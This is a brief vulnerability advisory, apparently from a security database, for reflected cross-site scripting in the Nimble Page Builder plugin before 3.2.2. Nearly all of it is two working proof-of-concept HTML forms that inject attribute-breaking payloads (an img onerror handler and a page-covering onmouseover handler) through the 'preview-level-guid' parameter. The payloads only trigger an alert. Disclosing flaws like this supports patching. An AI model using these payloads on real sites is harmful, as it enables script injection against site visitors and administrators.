Nimble Page Builder < 3.2.2 - Reflected Cross-Site Scripting

Proof of Concept

v < 3.1.32
<form action="http://example.com/?customize_messenger_channel" method="POST">
    <input type="text" name="preview-level-guid" value='" xxx><img src onerror=alert(/XSS/)>'>
    <input type="submit" value="Exploit me pls" />
</form>

v < 3.2.2
<form action="http://example.com/?customize_messenger_channel" method="POST">
    <input type="text" name="preview-level-guid" value='" style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)//'>
    <input type="submit" value="Exploit me pls" />
</form>